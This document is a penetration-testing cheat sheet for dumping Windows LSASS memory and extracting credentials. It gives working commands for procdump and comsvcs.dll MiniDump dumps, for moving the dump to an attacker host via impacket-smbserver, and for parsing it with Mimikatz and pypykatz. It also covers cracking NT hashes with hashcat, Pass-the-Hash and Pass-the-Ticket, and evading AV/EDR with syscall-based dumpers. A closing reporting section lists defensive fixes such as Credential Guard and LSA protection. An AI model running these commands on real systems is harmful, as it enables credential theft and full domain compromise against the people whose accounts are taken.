πŸ›‘οΈ Methodology Checklist

  • Confirm SYSTEM privileges before dumping
  • Method 1 β€” procdump: procdump.exe -accepteula -ma lsass.exe lsass.dmp
  • Method 2 β€” comsvcs.dll: rundll32 C:\Windows\System32\comsvcs.dll MiniDump [LSASS_PID] lsass.dmp full
  • Method 3 β€” Task Manager: right-click lsass β†’ Create dump file
  • Transfer dump to attacker: impacket-smbserver share . -smb2support
  • Parse with Mimikatz: sekurlsa::minidump lsass.dmp; sekurlsa::logonpasswords
  • Extract hashes for PtH or offline cracking

🎯 Operational Context

Use when: SYSTEM or Admin access on Windows target β€” dump LSASS memory for NTLM hashes, Kerberos tickets, and potentially plaintext creds. Think Dumber First: rundll32 C:\windows\system32\comsvcs.dll, MiniDump [LSASS_PID] C:\Temp\lsass.dmp full β€” built-in Windows method, no external tool needed. Get LSASS PID with tasklist | findstr lsass. Then parse dump offline with mimikatz sekurlsa::minidump. Skip when: Credential Guard enabled β€” LSASS memory won’t contain usable credential material.


⚑ Tactical Cheatsheet

CommandTactical Outcome
tasklist /svcFind lsass.exe PID (CMD)
Get-Process lsassFind lsass.exe PID (PowerShell)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump [PID] C:\lsass.dmp fullDump LSASS memory to disk (requires elevated session)
pypykatz lsa minidump /path/to/lsass.dmpParse LSASS dump for credentials
sudo hashcat -m 1000 [NT_HASH] rockyou.txtCrack extracted NT hash

πŸ”¬ Deep Dive & Workflow

Why LSASS Is High Value

LSASS caches credentials in memory for every active logon session on the machine. Dumping it yields:

  • NT hashes for every logged-in user
  • Clear-text passwords on older systems (Windows XP–8 / Server 2003–2012) or if WDIGEST is re-enabled
  • Kerberos tickets (usable for Pass-the-Ticket)
  • DPAPI master keys for decrypting Chrome/Outlook/RDP credentials

Dump Method 1 β€” Task Manager (GUI)

Requires an interactive graphical session:

  1. Open Task Manager β†’ Processes tab
  2. Right-click Local Security Authority Process β†’ Create dump file
  3. File saved to %temp%\lsass.DMP

Dump Method 2 β€” comsvcs.dll (CLI, Shell-Friendly)

# Step 1: Get PID
tasklist /svc
# or
Get-Process lsass
 
# Step 2: Dump (elevated session required)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump [PID] C:\lsass.dmp full

Note: This method is commonly flagged by AV/EDR. The comsvcs.dll approach is a Living-off-the-Land technique but well-known to defenders.

Parsing with Pypykatz

Transfer the .dmp file to the attack host, then parse:

pypykatz lsa minidump lsass.dmp

Output sections and what to extract:

SectionContentsAction
== MSV ==SID, NT hash, SHA1 hashCrack with Hashcat mode 1000, or use directly for PtH
== WDIGEST ==Clear-text password (if enabled)Use directly
== Kerberos ==Domain tickets, ekeys, pinsUse for Pass-the-Ticket
== DPAPI ==Master keysDecrypt Chrome/Outlook/RDP stored credentials

WDIGEST Context

WDIGEST stores clear-text credentials in memory for legacy digest authentication. Disabled by default since Windows 8.1/2012 R2 via the UseLogonCredential registry key. Attackers can re-enable it on a compromised host to capture the next logon.

Cracking When WDIGEST Is Disabled

Extract the NT hash from the MSV section of pypykatz output and crack offline:

sudo hashcat -m 1000 [NT_HASH] /usr/share/wordlists/rockyou.txt

Alternatively, use the NT hash directly for Pass-the-Hash without cracking.


πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
LSASS dump blocked by AV/EDRPPL or EDR protectionTry: ProcDump, Task Manager full dump, or use custom LSASS dumper with syscall-based access
MiniDump fails with Access DeniedNot SYSTEM (admin not enough)Elevate to SYSTEM first: PsExec64.exe -i -s cmd.exe or token impersonation
Mimikatz fails to parse dumpDump incomplete or corruptedVerify dump size; re-dump; use pypykatz on Linux as alternative parser
sekurlsa::logonpasswords shows only NTLM no plaintextWDigest disabledExpected post-2013; focus on NTLM hashes for PtH; look for kerberos tickets
Dump file too large to transferLSASS taking 500MB+Compress: Compress-Archive lsass.dmp lsass.zip; or parse on target and exfil only hashes

πŸ“ Reporting Trigger

Finding Title: LSASS Memory Dump Yields NTLM Hashes and Kerberos Tickets Impact: LSASS memory dump provides NTLM hashes for all interactively logged-on accounts including any Domain Admins, enabling Pass-the-Hash attacks and complete domain compromise without additional exploitation. Root Cause: LSASS not protected by PPL or Credential Guard. SYSTEM access achieved without detection of the dump activity. Recommendation: Enable Credential Guard on all Windows 10+ endpoints. Enable LSA protection (PPL) via registry. Deploy EDR with LSASS access monitoring. Alert on processes opening LSASS with PROCESS_VM_READ permissions.